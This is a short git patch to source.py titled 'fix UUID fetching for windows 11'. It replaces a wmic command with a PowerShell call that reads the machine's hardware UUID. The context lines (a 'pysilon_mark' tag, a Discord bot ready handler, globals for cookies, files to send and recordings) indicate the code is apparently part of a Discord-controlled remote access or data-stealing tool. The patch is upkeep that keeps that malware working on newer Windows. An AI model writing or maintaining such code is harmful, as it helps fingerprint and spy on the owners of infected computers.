From 2b2f7ea6e2a8ba7bd1a3e2e173c0e12645e0fd0f Mon Sep 17 00:00:00 2001 From: JuicyChann Date: Sat, 20 Apr 2024 00:12:00 +0300 Subject: [PATCH] fix UUID fetching for windows 11 --- source.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source.py b/source.py index 15351c3a..526ce2cb 100644 --- a/source.py +++ b/source.py @@ -125,7 +125,7 @@ def log(entry): # [pysilon_mark] !debug async def on_ready(): global force_to_send, messages_to_send, files_to_send, embeds_to_send, channel_ids, cookies_thread, latest_messages_in_recordings #.log BOT loaded - hwid = subprocess.check_output('wmic csproduct get uuid', shell=True).decode().split('\n')[1].strip() + hwid = subprocess.check_output("powershell (Get-CimInstance Win32_ComputerSystemProduct).UUID").decode().strip() #.log HWID obtained first_run = True for category_name in client.get_guild(guild_id).categories: